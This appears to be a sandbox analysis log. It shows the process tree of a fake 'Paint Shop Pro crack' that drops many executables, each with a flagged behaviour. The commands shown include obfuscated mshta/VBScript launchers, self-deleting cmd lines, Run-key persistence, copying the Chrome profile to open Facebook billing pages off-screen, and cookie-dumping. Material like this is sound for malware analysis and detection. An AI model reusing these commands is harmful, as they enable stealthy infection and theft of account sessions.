"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3864 /prefetch:8
2⤵
PID:2172

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4236 /prefetch:8
2⤵
PID:1508

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2956 /prefetch:1
2⤵
PID:4496

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4308 /prefetch:1
2⤵
PID:4124

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8004 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4780

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6140 /prefetch:1
2⤵
PID:4628

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7960 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4232

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5816 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4292

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1524 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2272

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1352 /prefetch:8
2⤵
PID:4760

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2988 /prefetch:8
2⤵
PID:3960

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:5036

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3648 /prefetch:8
2⤵
PID:184

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7760 /prefetch:8
2⤵
PID:4000

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4240 /prefetch:8
2⤵
PID:4544

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=7736 /prefetch:2
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1996

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3964 /prefetch:8
2⤵
PID:4868

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
- Modifies registry class
PID:2656

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2640

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
2⤵
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:4516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:5100

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2556

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2336

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2328

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1788

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1368

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1244

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1188

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1080

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:684

C:\Users\Admin\AppData\Roaming\bwfiwcd
C:\Users\Admin\AppData\Roaming\bwfiwcd
2⤵
- Suspicious use of SetThreadContext
PID:3984

C:\Users\Admin\AppData\Roaming\bwfiwcd
C:\Users\Admin\AppData\Roaming\bwfiwcd
3⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:6380

C:\Users\Admin\AppData\Roaming\tffiwcd
C:\Users\Admin\AppData\Roaming\tffiwcd
2⤵
- Suspicious use of SetThreadContext
PID:4640

C:\Users\Admin\AppData\Roaming\tffiwcd
"C:\Users\Admin\AppData\Roaming\tffiwcd"
3⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:6104

C:\Users\Admin\AppData\Roaming\bwfiwcd
C:\Users\Admin\AppData\Roaming\bwfiwcd
2⤵
PID:9380

C:\Users\Admin\AppData\Roaming\bwfiwcd
C:\Users\Admin\AppData\Roaming\bwfiwcd
3⤵
PID:9908

C:\Users\Admin\AppData\Roaming\tffiwcd
C:\Users\Admin\AppData\Roaming\tffiwcd
2⤵
PID:6900

C:\Users\Admin\AppData\Roaming\tffiwcd
"C:\Users\Admin\AppData\Roaming\tffiwcd"
3⤵
PID:9476

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:68

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5088

C:\Users\Admin\AppData\Local\Temp\Temp2_Jasc_Paint_Shop_Pro_9_0_crack_by_TSRh.zip\Jasc_Paint_Shop_Pro_9_0_crack_by_TSRh.exe
"C:\Users\Admin\AppData\Local\Temp\Temp2_Jasc_Paint_Shop_Pro_9_0_crack_by_TSRh.zip\Jasc_Paint_Shop_Pro_9_0_crack_by_TSRh.exe"
1⤵
PID:4592

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
2⤵
PID:1508

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
keygen-pr.exe -p83fsase3Ge
3⤵
- Executes dropped EXE
PID:4788

C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
4⤵
- Executes dropped EXE
PID:1580

C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
5⤵
PID:3120

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
keygen-step-1.exe
3⤵
- Executes dropped EXE
PID:4428

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe
keygen-step-5.exe
3⤵
- Executes dropped EXE
PID:4972

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBsCriPt: CLOse ( cReatEoBJEcT("wSCrIPT.sHelL" ). RUn ( "cmD.EXe /Q /C COpY /y ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe"" uQLGv.exe > Nul && StArT uQLGv.exe -P5x35C~QWmaAR8osCre & iF """" == """" for %V In ( ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe"" ) do taskkill -IM ""%~nXV"" -F > nul ",0) )
4⤵
PID:4744

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C COpY /y "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" uQLGv.exe> Nul && StArT uQLGv.exe -P5x35C~QWmaAR8osCre & iF "" =="" for %V In ( "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" ) do taskkill -IM "%~nXV" -F> nul
5⤵
PID:1492

C:\Windows\SysWOW64\taskkill.exe
taskkill -IM "keygen-step-5.exe" -F
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4236

C:\Users\Admin\AppData\Local\Temp\uQLGv.exe
uQLGv.exe -P5x35C~QWmaAR8osCre
6⤵
- Executes dropped EXE
PID:4620

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBsCriPt: CLOse ( cReatEoBJEcT("wSCrIPT.sHelL" ). RUn ( "cmD.EXe /Q /C COpY /y ""C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"" uQLGv.exe > Nul && StArT uQLGv.exe -P5x35C~QWmaAR8osCre & iF ""-P5x35C~QWmaAR8osCre "" == """" for %V In ( ""C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"" ) do taskkill -IM ""%~nXV"" -F > nul ",0) )
7⤵
PID:2252

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C COpY /y "C:\Users\Admin\AppData\Local\Temp\uQLGv.exe" uQLGv.exe> Nul && StArT uQLGv.exe -P5x35C~QWmaAR8osCre & iF "-P5x35C~QWmaAR8osCre " =="" for %V In ( "C:\Users\Admin\AppData\Local\Temp\uQLGv.exe" ) do taskkill -IM "%~nXV" -F> nul
8⤵
PID:4864

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" .\ma0IL_U1.C_T -u /s
7⤵
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
PID:4276

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
keygen-step-2.exe
3⤵
- Executes dropped EXE
- Modifies system certificate store
PID:4716

C:\Users\Admin\AppData\Roaming\2130.tmp.exe
"C:\Users\Admin\AppData\Roaming\2130.tmp.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4544

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\2130.tmp.exe"
5⤵
PID:2272

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
6⤵
- Delays execution with timeout.exe
PID:4332

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe" >> NUL
4⤵
PID:4472

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
5⤵
- Executes dropped EXE
- Modifies registry class
- Runs ping.exe
- Suspicious use of SetWindowsHookEx
PID:1868

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
keygen-step-3.exe
3⤵
- Executes dropped EXE
PID:632

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
4⤵
PID:2860

C:\Windows\SysWOW64\PING.EXE
ping 1.1.1.1 -n 1 -w 3000
5⤵
- Runs ping.exe
PID:4164

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
keygen-step-4.exe
3⤵
- Executes dropped EXE
- Checks computer location settings
PID:4080

C:\Users\Admin\AppData\Local\Temp\RarSFX1\Free.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Free.exe"
4⤵
PID:1868

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
5⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:904

C:\Users\Admin\AppData\Local\Temp\RarSFX1\JoSetp.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX1\JoSetp.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3784

C:\ProgramData\5661775.exe
"C:\ProgramData\5661775.exe"
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3672

C:\ProgramData\3274620.exe
"C:\ProgramData\3274620.exe"
5⤵
- Executes dropped EXE
- Adds Run key to start application
PID:2352

C:\ProgramData\Windows Host\Windows Host.exe
"C:\ProgramData\Windows Host\Windows Host.exe"
6⤵
- Executes dropped EXE
PID:2676

C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"
4⤵
- Executes dropped EXE
- Drops Chrome extension
PID:4204

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
5⤵
PID:4572

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
6⤵
- Kills process with taskkill
PID:1852

C:\Windows\SysWOW64\xcopy.exe
xcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y
5⤵
- Enumerates system info in registry
PID:1568

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:4864

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/
5⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:4380

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ff87ef74f50,0x7ff87ef74f60,0x7ff87ef74f70
6⤵
PID:4040

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1512,8543283011652108014,12514630251655961029,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1920 /prefetch:8
6⤵
- Suspicious behavior: EnumeratesProcesses
PID:4612

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1512,8543283011652108014,12514630251655961029,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1552 /prefetch:2
6⤵
PID:4264

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1512,8543283011652108014,12514630251655961029,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2360 /prefetch:8
6⤵
PID:2180

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1512,8543283011652108014,12514630251655961029,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2700 /prefetch:1
6⤵
PID:4192

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1512,8543283011652108014,12514630251655961029,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2716 /prefetch:1
6⤵
PID:4240

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1512,8543283011652108014,12514630251655961029,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3188 /prefetch:1
6⤵
PID:4584

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1512,8543283011652108014,12514630251655961029,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3172 /prefetch:1
6⤵
PID:3992

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1512,8543283011652108014,12514630251655961029,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2344 /prefetch:1
6⤵
PID:3832

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1512,8543283011652108014,12514630251655961029,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3760 /prefetch:1
6⤵
PID:4112

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1512,8543283011652108014,12514630251655961029,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4696 /prefetch:1
6⤵
PID:5052

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1512,8543283011652108014,12514630251655961029,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=4972 /prefetch:8
6⤵
- Suspicious behavior: EnumeratesProcesses
PID:4796

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1512,8543283011652108014,12514630251655961029,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5384 /prefetch:8
6⤵
PID:3032

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1512,8543283011652108014,12514630251655961029,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2188 /prefetch:8
6⤵
PID:5816

C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe"
4⤵
- Executes dropped EXE
PID:4472

C:\Users\Admin\AppData\Local\Temp\is-2M6N7.tmp\Install.tmp
"C:\Users\Admin\AppData\Local\Temp\is-2M6N7.tmp\Install.tmp" /SL5="$40372,235791,152064,C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:576

C:\Users\Admin\AppData\Local\Temp\is-RR25L.tmp\Ultra.exe
"C:\Users\Admin\AppData\Local\Temp\is-RR25L.tmp\Ultra.exe" /S /UID=burnerch1
6⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
PID:1508

C:\Program Files\Windows Security\LSUXGVCTMU\ultramediaburner.exe
"C:\Program Files\Windows Security\LSUXGVCTMU\ultramediaburner.exe" /VERYSILENT
7⤵
- Executes dropped EXE
PID:2096

C:\Users\Admin\AppData\Local\Temp\is-B9A2I.tmp\ultramediaburner.tmp
"C:\Users\Admin\AppData\Local\Temp\is-B9A2I.tmp\ultramediaburner.tmp" /SL5="$4036E,281924,62464,C:\Program Files\Windows Security\LSUXGVCTMU\ultramediaburner.exe" /VERYSILENT
8⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:3972

C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
9⤵
- Executes dropped EXE
PID:4300

C:\Users\Admin\AppData\Local\Temp\15-fff3c-1e7-c13b5-9e247f9e88b64\Jaeqefaejisho.exe
"C:\Users\Admin\AppData\Local\Temp\15-fff3c-1e7-c13b5-9e247f9e88b64\Jaeqefaejisho.exe"
7⤵
- Executes dropped EXE
- Checks computer location settings
PID:4400

C:\Users\Admin\AppData\Local\Temp\d3-54686-f99-ae7bd-451dffab23bbd\Tugaeharuxae.exe
"C:\Users\Admin\AppData\Local\Temp\d3-54686-f99-ae7bd-451dffab23bbd\Tugaeharuxae.exe"
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1288

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lq2grlrs.psi\gaoou.exe & exit
8⤵
PID:2904

C:\Users\Admin\AppData\Local\Temp\lq2grlrs.psi\gaoou.exe
C:\Users\Admin\AppData\Local\Temp\lq2grlrs.psi\gaoou.exe
9⤵
PID:6656

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
10⤵
PID:5316

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
10⤵
PID:1112

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
10⤵
PID:6828

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ktetzzug.3kl\google-game.exe & exit
8⤵
PID:5504

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
9⤵
PID:4104

C:\Users\Admin\AppData\Local\Temp\ktetzzug.3kl\google-game.exe
C:\Users\Admin\AppData\Local\Temp\ktetzzug.3kl\google-game.exe
9⤵
PID:4488

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
10⤵
PID:2360

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\owwlxid0.auv\md1_1eaf.exe & exit
8⤵
PID:4748

C:\Users\Admin\AppData\Local\Temp\owwlxid0.auv\md1_1eaf.exe
C:\Users\Admin\AppData\Local\Temp\owwlxid0.auv\md1_1eaf.exe
9⤵
PID:5168

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xh4sm0b1.hgj\build.exe & exit
8⤵
PID:356

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
9⤵
- Suspicious use of SetThreadContext
PID:1908

C:\Users\Admin\AppData\Local\Temp\xh4sm0b1.hgj\build.exe
C:\Users\Admin\AppData\Local\Temp\xh4sm0b1.hgj\build.exe
9⤵
PID:7208

